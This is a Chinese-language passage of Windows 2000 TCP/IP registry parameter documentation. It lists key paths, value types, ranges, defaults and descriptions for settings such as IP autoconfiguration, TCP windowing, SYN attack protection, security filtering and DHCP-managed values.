说明:DHCP 客户机在此存放自动配置所选择的 IP 地址。不可更改修改该数值。


IPAutoconfigurationEnabled

项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明:该参数可以启用或禁用 IP 自动配置。有关详细信息,请参见本文的“自动
客户配置与媒体侦听”一节。该参数可以设置为全局或每个接口。如果每个接口的
参数值存在,它将覆盖该接口的全局参数值。

IPAutoconfigurationMask

项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface

数值类型:REG_SZ – 字符串

有效范围:有效的 IP 子网掩码

默认值: 255.255.0.0

说明: 该参数控制由自动配置分配给客户机的子网掩码。有关详细信息,请参见
本文的“自动客户配置与媒体侦听”一节。可以将该参数设置为全局或每个接口。
如果每个接口参数值存在,则它覆盖该接口的全局参数值。

IPAutoconfigurationSeed

项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORD – 数字

有效范围: 0-0xFFFF

默认值: 0

说明:该参数由 DHCP 客户内部使用,不应修改该参数。

IPAutoconfigurationSubnet

项: Tcpip\Parameters, Tcpip\Parameters\Interfaces\interface

数值类型:REG_SZ – 字符串

有效范围:有效 IP 子网

默认值: 169.254.0.0

说明: 该参数控制自动配置查找客户机 IP 地址时所使用的子网地址。有关详细
信息,请参见本文的“自动客户配置与媒体侦听”一节。可以将该参数设置为全局
参数或基于每个接口的参数。如果每个接口参数值存在,则它覆盖该接口的全局参
数值。

IGMPLevel

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字

有效范围: 0、1、2

默认值: 2

说明: 该参数确定系统在多大程度上支持 IP 多播和参加网际分组管理协议。在
0 级,系统不提供多播支持。在 1 级,系统可以发送 IP 多播数据包但不能接收
。在 2 级,系统可以发送 IP 多播数据包并完全参加 IGMP 以接收多播数据包。


IPEnableRouter

项:Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:将该参数设置为 1 (true),系统将在它所连接的网络之间路由 IP 数据包


IPEnableRouterBackup

项:Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:安装程序将以前的 IPEnableRouter 值写入到此项中。该参数不应手动来调
整。

KeepAliveInterval

项: Tcpip\Parameters

数值类型:REG_DWORD – 时间(毫秒)

有效范围: 1-0xFFFFFFFF

默认值: 1000(1 秒)

说明:该参数确定接收到响应前,保留重新传输的间隔。一旦接收到响应,直至下
一个保留传输的延迟仍由 KeepAliveTime 数值控制。当重新传输次数达到
TcpMaxDataRetransmissions 指定值后仍未收到应答,就会放弃连接。

KeepAliveTime

项: Tcpip\Parameters

数值类型:REG_DWORD – 时间(毫秒)

有效范围: 1-0xFFFFFFFF

默认值: 7,200,000(2 小时)

说明: 该参数可确定 TCP 每隔多长时间发送保留的数据包,来验证一次闲置连接
仍未断开。如果远程系统仍然可以连接并正在运行,它就会确认保留传输。默认情
况下,不发送保留数据包。应用程序可以在连接上启用这一功能。

MaxForwardBufferMemory

项: Tcpip\Parameters

数值类型:REG_DWORD – 字节数

有效范围: 网络 MTU-0xFFFFFFFF

默认值: 十进制 2097152 (2 MB)

说明:该参数表示 IP 分配多少内存,来存储路由器数据队列中数据包的数据。该
数值必须大于或等于 ForwardBufferMemory 参数值。有关详细信息,请参见
ForwardBufferMemory。

MaxForwardPending

项: Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORD – 数据包数

有效范围: 1-0xFFFFFFFF

默认值: 0×1388(十进制为 5000)

说明: 该参数限制在某一时刻 IP 转发引擎可以向指定网络接口发送的数据包数
。额外的数据包则在 IP 排队,直到接口上的传输完成为止。大多数网络适配器传
输数据包的速度非常快,因此默认值是充分的。但是,单个 RAS 接口可以多路复
用多个慢速串行线路。对这种类型的接口配置更大的数值,可以提高性能。合适的
数值取决于传出线路的数量以及它们的负载特性。


MaxFreeTcbs

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字

有效范围: 0-0xFFFFFFFF

默认值: 使用下列默认数值(注意“小型”定义为 RAM 小于 19 MB 的计算机,
“中型”定义为 RAM 在 19-63 MB 之间的计算机,“大型”定义为 RAM 大于或等
于 64 MB 的计算机。虽然该代码仍旧存在,现在几乎所有计算机均为“大型”)


对于 Windows 2000 Server:

小型系统 – 500
中型系统 – 1000
大型系统 – 2000
对于 Windows 2000 Professional:

小型系统 – 250
中型系统 – 500
大型系统 – 1000
说明: 该参数控制可用的缓存(预分配的)传输控制块 (TCB) 数量。传输控制块
是每个 TCP 连接保留的数据结构。

MaxFreeTWTcbs

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字

有效范围: 1-0xFFFFFFFF

默认值: 1000

说明: 该参数控制在 TIME-WAIT 状态列表中允许处于 TIME-WAIT 状态的传输控
制块 (TCB) 数量。一旦超过该数值,最早的 TCB 将从列表中清除。要使连接保持
TIME-WAIT 状态至少 60 秒,对于计算机,该数值应为 >= 60 *(每秒正常连接
关闭比率)。在大多数情况下,默认数值是合适的。

MaxHashTableSize

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字(必须为 2 的幂数)

有效范围: 0×40-0×10000(十进制为 64-65536)

默认值: 512

说明: 该数值应设为 2 的幂数(例如,512、1024、2048 等等)。如果该数值不
是 2 的幂数,则系统将散列表配置为下一个 2 的幂数值(例如,当设置为 513,
则取 1024)。该数值控制系统查找 TCP 控制块的速度,当 MaxFreeTcbs 从默认
值增大时,该数值应增大。

MaxNormLookupMemory

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字

有效范围: 任何 DWORD(0xFFFFFFFF 说明对内存没有限制。)

默认值: 使用下列默认数值(“小型”定义为 RAM 小于 19 MB 的计算机,“中
型”定义为 RAM 在 19-63 MB 之间的计算机,“大型”定义为 RAM 等于或大于
64 MB 的计算机。虽然该代码仍然存在,但现在几乎所有计算机均为“大型”)。


对于 Windows 2000 Server:

小型系统 -150,000 字节,提供 1000 个路由
中型系统 – 1,500,000 字节,提供 10,000 个路由
大型系统 – 5,000,000 字节,提供 40,000 个路由
对于 Windows 2000 Professional:

150,000 字节,提供 1000 个路由
说明: 该参数控制系统允许路由表数据与路由自身的最大内存数。它用于防止因
添加大量路由而将计算机内存用尽。

MaxNumForwardPackets

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字

有效范围: 1-0xFFFFFFFF

默认值: 0xFFFFFFFF

说明: 该参数限制可以为路由器数据包队列分配的 IP 数据包报头总数。该数值
必须大于或等于 NumForwardPackets 参数值。有关详细信息,请参见
NumForwardPackets 的说明。

MaxUserPort

项:Tcpip\Parameters

数值类型: REG_DWORD – 最大端口数

有效范围: 5000-65534(十进制)

默认值: 0×1388(十进制为 5000)

说明: 当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端
口数。正常情况下,短期端口的分配数量为 1024-5000。将该参数设置到有效范围
以外时,就会使用最接近的有效数值(5000 或 65534)。

MTU

项: Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORD – 数字

有效范围: 88-基础网络的 MTU

默认值: 0xFFFFFFFF

说明:该参数覆盖网络接口的默认最大传输单位 (MTU)。MTU 是基础网络上传输的
最大数据包大小(字节)。它包括传输报头。IP 数据报可以跨多个数据包。当数
值大于基础网络的默认值时,传输就会使用网络默认 MTU。数值小于 88 时,传输
就会将 MTU 设为 88。

备注 Windows 2000 TCP/IP 默认情况下使用 PMTU 检测,并查询 NIC 驱动程序以
查找本地 MTU 大小。通常并不需要更改 MTU 参数,并可能导致性能下降。有关详
细信息,请参见本文 TCP 部分有关 PMTU 检测的讨论。

NumForwardPackets

项: Tcpip\Parameters

数值类型:REG_DWORD – 数字

有效范围: 1-小于 0xFFFFFFFF 的合理数值

默认值: 0×32(十进制为 50 )

说明:该参数确定路由器数据包队列分配的 IP 数据包报头数。当所有报头都在使
用时,系统试图分配更多的报头,直到达到 MaxNumForwardPackets 所配置的数量
。该数值至少与 ForwardBufferMemory 除以与路由器相连网络的最大 IP 数据大
小的数值一样大。该参数不应大于 ForwardBufferMemory 除以 256 的结果值,因
为每个数据包至少占用 256 个字节的转发缓冲内存。对于给定的
ForwardBufferMemory 大小,理想的转发数据包数取决于网络上的通信类型,且在
这两个值之间。如果路由没有启用,则忽略该参数且不分配报头。

NumTcbTablePartitions

项: Tcpip\Parameters\

数值类型:REG_DWORD – TCB 表分区数

有效范围:1-0xFFFF

默认值: 4

说明:该参数控制 TCB 表分区数。对 TCB 表分区,由于减少了 TCB 表上的竞争
,可提高在多处理器系统上的可缩放性。在对性能进行仔细研究之前,不可修改该
数值。建议的最大数值为(CPU 数)( 2。

PerformRouterDiscovery

项: Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORD

有效范围:0、1、2

0(禁用)
1(启用)
2(仅当 DHCP 发送路由器发现选项时启用)

默认值: 2,由 DHCP 控制,默认情况下关闭。

说明:该参数控制 Windows 2000 是否根据每个接口上的 RFC 1256 执行路由器发
现。也请参见 SolicitationAddressBcast。

PerformRouterDiscoveryBackup

项: Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 无

说明:该参数用于内部保留 PerformRouterDiscovery 数值的备份副本。不应对它
进行修改。

PPTPTcpMaxDataRetransmissions

项:Tcpip\Parameters

数值类型: REG_DWORD – 重新传输 PPTP 数据包的次数

有效范围:0-0xFF

默认值: 5

说明:该参数控制在没有确认情况下重新传输 PPTP 数据包的次数。添加该参数,
可以配置 PPTP 通信的重新传输,使之与常规 TCP 通信的重新传输分开。

SackOpts

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明: 该参数控制选择性确认(SACK,在 RFC 2018 中定义)支持是否启用。在
本文的“传输控制协议 (TCP)”一节对 SACK 进行了详细的阐述。

SolicitationAddressBcast

项: Tcpip\Parameters\Interfaces\interface

数值类型:REG_DWORDBoolean

有效范围:0、1(false、true)

默认值: 0 (false)

说明:该参数用于配置 Windows 以广播而不是多播方式发送路由器发现的消息,
如 RFC 1256 中所述。默认情况下,如果启用路由器发现,则路由器发现请求发送
到所有路由器多播组 (224.0.0.2)。也可参见 PerformRouterDiscovery。

SynAttackProtect

项: Tcpip\Parameters

数值类型:REG_DWORD

有效范围:0、1、2

0(没有 SYN 攻击保护)
1(如果 TcpMaxHalfOpen 和 TcpMaxHalfOpenRetried 设置满足要求,
可减少重新传输重试和
延迟 RCE(路由缓存项)的创建。)
2(除 1 外的另一个 Winsock 延迟指示。)

备注 当系统发现自身被攻击,则在任何套接字上的下列选项不再启用:可缩放窗
口 (RFC 1323) 与每个适配器上已配置的 TCP 参数(初始 RTT、窗口大小)。这
是因为当保护生效时,在发送 SYN-ACK 之前不再查询路由缓存项,并且连接过程
中 Winsock 选项不可用。

默认值: 0 (false)


推荐值: 2

说明:SYN 攻击保护包括减少 SYN-ACK 重新传输次数,以减少分配资源所保留的
时间。路由缓存项资源分配延迟,直到建立连接为止。如果 synattackprotect
= 2,则 AFD 的连接指示一直延迟到三路握手完成为止。注意,仅在
TcpMaxHalfOpen 和 TcpMaxHalfOpenRetried 设置超出范围时,保护机制才会采取
措施。

Tcp1323Opts

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字(标志)

有效范围: 0、1、2、3

0(禁用 RFC 1323 选项)
1(仅启用窗口缩放)
2(仅启用时间戳)
3(两个选项均启用)

默认值: 没有数值;默认行为如下所示:除非要求提供,否则不要启用选项。

说明:该参数控制 RFC 1323 时间戳与窗口缩放选项。默认情况下,启用时间戳与
窗口缩放,但是可以使用标志位进行控制。0 位控制窗口缩放,1 位控制时间戳。


TcpDelAckTicks

项: Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 数字

有效范围: 0-6

默认值: 2(200 毫秒)

说明:指定每个接口上延迟 ACK 计时器所使用 100 毫秒间隔的个数。默认情况下
,延迟 ACK 计时器为 200 毫秒。将该数值设置为 0,将禁用延迟确认,计算机就
会立即确认所收到的每个数据包。Microsoft 不建议在未对环境进行仔细研究的情
况下更改该默认值。

TcpInitialRTT

项: Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 数字

有效范围: 0-0xFFFF

默认值: 3 秒

说明:该参数控制在每个接口上 TCP 连接请求以及初始数据重新传输所使用的初
始超时大小。调整该参数时要小心,因为使用了指数补偿。将该数值设置为大于
3,对于不存在的地址会产生更长的时间延迟。

TcpMaxConnectResponseRetransmissions

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 0-255

默认值: 2

说明:该参数控制未收到 SYN 确认时,连接请求重新传输 SYN-ACK 的次数。如果
该数值大于或等于 2,栈内部使用 SYN 攻击保护。如果该数值小于 2,栈根本不
读取注册表值来获得 SYN 攻击保护。也可参见 SynAttackProtect、
TCPMaxPortsExhausted、TCPMaxHalfOpen 和 TCPMaxHalfOpenRetried。

TcpMaxConnectRetransmissions

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 0-255(十进制)

默认值: 2

说明: 该参数确定放弃前,TCP 重传连接请求 (SYN) 的次数。在给定的连接上,
对于每个连续重新传输,重传超时数加倍。初始超时数是由 TcpInitialRtt 注册
表值控制的。<0}

TcpMaxDataRetransmissions

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 0-0xFFFFFFFF

默认值: 5

说明: 该参数控制在放弃连接前,TCP 重新传输单个数据段(非连接请求段)的
次数。在连接上对于每个连续重新传输,重传超时数加倍。响应恢复后,将重置该
数值。在每个连接上使用以前测量的往返时间(平滑往返时间 或 SRTT),动态地
调整重传超时 (RTO) 数值。在新连接上初始 RTO 是由 TcpInitialRtt 注册表值
控制的。

TcpMaxDupAcks

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 1-3

默认值: 2

说明:该参数确定在启动快速重传那些在传输途中丢失的数据段之前,必须收到相
同序号发送数据段的重复应答次数。在本文“传输控制协议 (TCP)”一节对此进行
了详细讨论。

TcpMaxHalfOpen

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 100-0xFFFF

默认值: 100(Professional、Server)、500 (Advanced Server)

说明:该参数控制 SYN 攻击保护启动前,允许处于 SYN-RCVD 状态的连接数量。
如果将 SynAttackProtect 设为 1,确保该数值低于要保护的端口上 AFD 侦听预
备的值(有关详细信息,参见附录 C 中的预备参数)。有关详细信息,参见
SynAttackProtect 参数。

TcpMaxHalfOpenRetried

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 80-0xFFFF

默认值: 80 (Professional、Server),400 (Advanced Server)

说明:该参数控制在 SYN 攻击保护启动前处于 SYN-RCVD 状态的连接数量,对于
该连接至少有一个 SYN 重传已经发送。有关详细信息,请参见 SynAttackProtect
参数。

TcpMaxPortsExhausted

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 0-0xFFFF

默认值: 5

说明:该参数控制 SYN 攻击保护启动的临界点。当 TcpMaxPortsExhausted 连接
请求因连接的可用预备设为 0 被系统拒绝时,SYN 攻击保护就会启动。

TcpMaxSendFree

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 0-0xFFFF

默认值: 5000

说明:该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置
可以提高 SYN 攻击期间的响应性能。

TcpNumConnections

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 0-0xFFFFFE

默认值: 0xFFFFFE

说明:该参数限制 TCP 同时打开连接的最大数量。

TcpTimedWaitDelay

项: Tcpip\Parameters

数值类型: REG_DWORD – 时间(秒)

有效范围: 30-300(十进制)

默认值: 0xF0(十进制为 240)

说明:该参数确定在关闭前连接处在 TIME_WAIT 状态的时间。当连接处于
TIME_WAIT 状态时,不能重新使用该套接字对。这也称为 2MSL 状态,因为该数值
是网络上最大段生存时间的两倍。有关更详细的信息,请参见 RFC 793。

TcpUseRFC1122UrgentPointer

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:该参数指定对于紧急数据,TCP 使用 RFC 1122 规范,还是使用由 BSD 派
生的系统的模式。这两种机制对 TCP 报头中的紧急指针以及紧急数据长度的解释
是不同的。它们不是可互操作的。Windows 2000 默认为 BSD 模式。

TcpWindowSize

项: Tcpip\Parameters, Tcpip\Parameters\Interface\interface

数值类型: REG_DWORD – 字节数

有效范围: 0-0×3FFFFFFF(十进制为 1073741823)。 实际上,TCP/IP 栈将设置
值舍入到最接近的最大段大小 (MSS) 的倍数。仅当连接到支持 RFC 1323 窗口缩
放的其它系统时,方可获得大于 64 KB 的数值,本文“传输控制协议 (TCP)”一
节对窗口缩放进行了讨论。

默认值:取以下数值的最小值:

0xFFFF
GlobalMaxTcpWindowSize(另一个注册表参数)
四倍网络上最大 TCP 数据大小的上舍入值
16384 舍入到网络 TCP 数据大小的偶数倍
对于以太网,开始时默认值为 17520,但是当连接到支持扩展 TCP 报头选项(如
SACK 和 TIMESTAMPS)的另一个计算机时,可能会稍微减小,因为使用这些选项
,TCP 报头长度就会超出通常的 20 个字节,这样数据可用的字节数就会比原来稍
微减少

说明: 该参数确定所提供的最大 TCP 接收窗口大小。接收窗口是指一个发送者在
未收到确认的情况下可以发送的字节数。总的来说,大的窗口可以改进高延缓和高
带宽网络上的性能。要获得最大效率,接收窗口应是 TCP 最大段大小 (MSS) 的偶
数倍。根据注册表项的位置,该参数可以是基于接口的参数,也可以是全局参数。
如果给定接口已有一个数值,该数值就会覆盖系统范围的数值。也可参见
GobalMaxTcpWindowSize。

TrFunctionalMcastAddress

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明:该参数确定是使用 RFC 1469 中定义的令牌环多播地址,还是使用子网广播
地址发送 IP 多播。默认值设为 1,计算机就会使用 RFC 1469 令牌环多播地址发
送 IP 多播。将该数值设置为 0,计算机使用子网广播地址发送 IP 多播。

TypeOfInterface

项: Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD

有效范围:0、1、2、3

默认值: 0(允许多播与单播)

说明:该参数确定接口获得单播、多播,还是两种通信类型的路由,以及是否可以
转发这些通信类型。如果将它设置为 0,允许单播与多播通信。如果将它设置为
1,禁用单播通信。如果将它设置为 2,禁用多播通信。如果将它设置为 3,单播
与多播通信均被禁用。由于该参数影响转发与路由,如果在计算机中没有其它接口
用于多播且存在默认路由,本地应用程序通过接口向外发送多播仍是可能的。

UseZeroBroadcast

项: Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:如果该参数设置为 1 (true),IP 将使用全“0”的广播 (0.0.0.0) 而不是
全“1”的广播 (255.255.255.255)。大多数系统使用全“1”的广播,但是一些从
BSD 实现派生的系统使用全“0”的广播。使用不同广播的系统在同一网络上无法
很好地进行互操作。

用户接口的可配置参数
根据用户所提供的信息,可以由 NCAP 自动创建并修改下列参数。不必在注册表中
直接配置这些参数。

DefaultGateway

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – 以点隔开的十进制 IP 地址列表

有效范围:有效 IP 地址的任一设置

默认值: 无

说明: 对于要发往其它子网的数据包且没有更具体的路由可用时,该参数指定了
一组网关来路由这些数据包。如果它有一个有效值,该参数将覆盖
DhcpDefaultGateway 参数。任何时刻计算机只有一个活动默认网关,因此添加多
个地址只是用作冗余。有关详细信息,请参见本文“间隔网关检测”一节。

Domain

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_SZ – 字符串

有效范围:任何有效的 DNS 域名

默认值: 无

说明:该参数指定接口的 DNS 域名。在 Windows 2000 中,该参数与 NameServer
均是每个接口上的参数,而不是整个系统范围的参数。如果该参数存在,它就会
覆盖 DhcpDomain 参数(由 DHCP 客户填写)。

EnableDhcp

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值:0 (false)

说明:该参数设置为 1 (true),DHCP 客户服务就会使用 DHCP 在该适配器上配置
第一个 IP 接口。

EnableSecurityFilters

项:Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值:0 (false)

说明:该参数设置为 1 (true),就会启用网际协议安全筛选器。请参见
TcpAllowedPorts、UdpAllowedPorts 和 RawIPAllowedPorts。要配置这些数值,
在开始菜单上,指向设置,然后单击网络和拨号连接,右键单击本地连接,然后单
击属性。选择 Internet 协议 (TCP/IP),单击属性,然后单击高级。单击选项选
项卡,选择TCP/IP 筛选,然后单击属性。

Hostname

项:Tcpip\Parameters

数值类型: REG_SZ – 字符串

有效范围:任何有效 DNS 主机名

默认值: 系统的计算机名

说明:该参数指定系统的 DNS 主机名称,它是由 hostname 命令返回的。

IPAddress

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – 以点隔开的 IP 地址列表

有效范围:任何一组有效的 IP 地址

默认值:无

说明:该参数指定绑定到适配器的 IP 接口的 IP 地址。如果列表中的第一个地址
是 0.0.0.0,则使用 DHCP 配置适配器上的主接口。适配器配有多于一个 IP 接口
的系统称为“逻辑多宿主”系统。对于此参数中指定的每个 IP 地址,在
SubnetMask 参数中必须有一个有效的子网掩码数值。要使用 Regedt32.exe 添加
参数,选择该项并键入 IP 地址列表,每次完成后按 Enter。然后转到
SubnetMask 参数,键入一组相应的子网掩码。

NameServer

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_SZ – 一个以空格分隔的点分十进制 IP 地址列表

有效范围:任何一组有效的 IP 地址

默认值: 无(空)

说明:该参数指定 Windows 套接字查询解析名称的 DNS 名称服务器。在 Windows
2000 中,该参数与 DomainName 是每个接口上的设置。

PPTPFiltering

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)


说明: 该参数控制是否在每个适配器上启用 PPTP 筛选。如果将该数值设置为 1
,适配器仅接受 PPTP 连接。如果适配器连接到 Internet 等公共网络上,它可减
少遭受黑客攻击的可能性。

RawIpAllowedProtocols

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – IP 协议编号列表

有效范围:任何一组有效的 IP 协议编号

默认值:无

说明: 该参数指定启用安全筛选时在 IP 接口上接收传入数据报的 IP 协议编号
列表 (EnableSecurityFilters = 1)。该参数通过原始 IP 传输控制接收 IP 数据
报,原始 IP 传输用于提供原始套接字。它不控制传递到其它传输(例如,TCP)
的 IP 数据报。空的列表说明没有可接受的数值。只有一个为 0 的数值说明所有
数值均是可以接受的。对于包含 0 与其它非零数值的列表,其行为未定义。如果
接口没有配置该参数,则所有数值都是可接受的。该参数适用于指定适配器上配置
的所有 IP 接口。

SearchList

项:Tcpip\Parameters

数值类型: REG_SZ – 以空格隔开的 DNS 域名后缀列表

有效范围:1-50

默认值:无

说明: 该参数提供了一个域名后缀列表,如果通过 DNS 解析原有名称失败,就会
将该后缀附到原有名称后面进行解析。默认情况下,只有“域”参数的数值是可以
附加的。该参数用于 Windows Sockets 接口。也可参见
AllowUnqualifiedQuery 参数。

SubnetMask

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – 以点隔开的十进制 IP 地址列表

有效范围:任何一组有效的 IP 地址。

默认值:无

说明:该参数指定适配器绑定的 IP 接口的子网掩码。如果在列表中的第一个掩码
是 0.0.0.0,则在适配器上使用 DHCP 配置主接口。对于 IPAddress 参数中指定
的每个 IP 地址,在该参数中必须有一个有效的子网掩码数值。

TcpAllowedPorts

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – TCP 端口编号列表

有效范围:任何一组有效的 TCP 端口编号

默认值: 无

说明: 该参数指定启用安全筛选时在 IP 接口上接收传入数据报的 IP 协议编号
列表 (EnableSecurityFilters = 1)。空的列表说明没有可以接受的数值。只有一
个为 0 的数值说明所有数值都是可以接受的。对于包含 0 与其它非零数值的列表
,其性能未定义。如果接口没有配置该参数,则所有数值均可以接受。该参数适用
于指定适配器上配置的所有 IP 接口。

UdpAllowedPorts

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – UDP 端口编号列表

有效范围:任何有效 UDP 端口编号设置

默认值: 无

说明: 该参数指定在启用安全配置筛选的情况下对于在 IP 接口上接收传入数据
包的 UDP 端口编号列表。空的列表说明没有可以接受的数值。只有一个为 0 的数
值说明所有数值都是可以接受的。对于包含 0 与其它非零数值的列表,其性能未
定义。如果接口没有配置该参数,则所有数值均可以接受。该参数适用于指定适配
器上配置的所有 IP 接口。

可使用 route 命令配置的参数
Route 命令可以在 Tcpip\Parameters\PersistentRoutes 注册表项下保存永久性
IP 路由。每个路由以逗号隔开的列表形式保存在数值名称字符串中:

destination,subnet mask,gateway,metric

例如,命令:

route add 10.99.100.0 MASK 255.255.255.0 10.99.99.1 METRIC 1 /p

产生注册表值:

10.99.100.0,255.255.255.0,10.99.99.1,1

该数值类型是 REG_SZ。没有数值数据(空字符串)。可以使用 route 命令添加和
删除这些数值。没有必要直接对它们进行配置。

不可配置的参数
下列参数是由 TCP/IP 组件内部创建并使用的。不应使用注册表编辑器修改这些参
数。在此列出这些参数仅供参考。

DhcpDefaultGateway

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_MULTI_SZ – 以点隔开的十进制 IP 地址列表

有效范围:任何一组有效的 IP 地址

默认值: 无

说明: 对于要发往其它子网的数据包且没有更具体的路由可用时,该参数指定了
一组网关来路由这些数据包。该参数是由 DHCP 客户服务(如启用)写入的。该参
数被一个有效 DefaultGateway 参数所覆盖。虽然每个接口上均设置该参数,通常
对于计算机只有一个活动的默认网关。如果第一个网关失败,可改用其它项。

DhcpIPAddress

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_SZ – 以点隔开的十进制 IP 地址

有效范围:任何有效的 IP 地址

默认值:无

说明:该参数指定接口由 DHCP 配置的 IP 地址。如果 IPAddress 参数包含的第
一个数值不是 0.0.0.0,则该数值就会覆盖此参数。

DhcpDomain

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_SZ – 字符串

有效范围:任何有效的 DNS 域名

默认值: 无(由 DHCP 服务器提供)

说明:该参数指定接口的 DNS 域名。在 Windows 2000 中,该参数与 NameServer
目前是每个接口的参数,而不是系统范围的参数。如果 Domain 项存在,它将覆
盖 DhcpDomain 数值。

DhcpNameServer

项:Tcpip\Parameters

数值类型: REG_SZ – 一个以空格分隔的点分十进制 IP 地址列表

有效范围:一组有效的 IP 地址

默认值: 无

说明:该参数指定 Windows Sockets 解析名称时查询的 DNS 名称服务器。该参数
是由 DHCP 客户服务(如启用)写入的。如果 NameServer 参数有一个有效的数值
,则它将覆盖此参数。

DhcpServer

项:Tcpip\Parameters\Interfaces\interface


数值类型: REG_SZ – 以点隔开的十进制 IP 地址

有效范围:任何有效 IP 地址

默认值:无

说明:该参数指定了给 DhcpIPAddress 参数中 IP 地址授予租约的 DHCP 服务器
的 IP 地址。

DhcpSubnetMask

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_SZ – 以点隔开的十进制 IP 子网掩码

有效范围:对于已配置 IP 地址有效的任何子网掩码

默认值:无

说明:该参数为 DhcpIPAddress 参数中的地址指定由 DHCP 配置的子网掩码。

DhcpSubnetMaskOpt

项:Tcpip\Parameters\Interfaces\interface


数值类型: REG_SZ – 以点隔开的十进制 IP 子网掩码

有效范围:对于已配置 IP 地址有效的任何子网掩码

默认值:无

说明:该参数是由 DHCP 客户服务填写的,用于建立 DhcpSubnetMask 参数,它栈
实际使用的参数。在将该值插入到 DhcpSubnetMask 参数之前,执行有效性检查。


Lease

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 时间(秒)

有效范围:1-0xFFFFFFFF

默认值:无

说明:DHCP 客户服务使用该参数存储时间(秒数),在此期间该适配器 IP 地址
的租约有效。

LeaseObtainedTime

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算

有效范围:1-0xFFFFFFFF

默认值:无

说明:DHCP 客户服务使用该参数存储时间,届时该适配器 IP 地址的租约生效。


LeaseTerminatesTime

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算

有效范围:1-0xFFFFFFFF

默认值:无

说明:DHCP 客户服务使用该参数存储时间,届时该适配器 IP 地址的租约期满。


LLInterface

项:Tcpip\Parameters\Adapters\interface

数值类型: REG_SZ – Windows 2000 设备名称

有效范围:合法的 Windows 2000 设备名称

默认值:空字符串(空)

说明:该参数用于将 IP 绑定到其它链接层协议而不是内置 ARP 模块。该参数的
数值是 IP 绑定的 Windows 2000 设备名。例如,该参数用于与 RAS 组件联用。
仅当 ARP 模块而不是 LAN 绑定到 IP 时,它才存在。

NTEContextList

项: Tcpip\Parameters\Interfaces\interface

数值类型:REG_MULTI_SZ – 数字

有效范围:0-0xFFFF

默认值: 无

说明:该参数标识与接口关联的 IP 地址的上下文。与一个接口关联的每个 IP 地
址有它自己的上下文编号。这些数值用于内部标识一个 IP 地址,不应对其进行修
改。

T1

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算

有效范围:1-0xFFFFFFFF

默认值:无

说明:DHCP 客户服务使用该参数存储时间,届时该客户服务先与授予租约的服务
器连接,续订该适配器 IP 地址的租约。

T2

项:Tcpip\Parameters\Interfaces\interface

数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算

有效范围:1-0xFFFFFFFF

默认值:无

说明:DHCP 客户服务使用该参数存储时间,届时该客户服务通过广播续订请求来
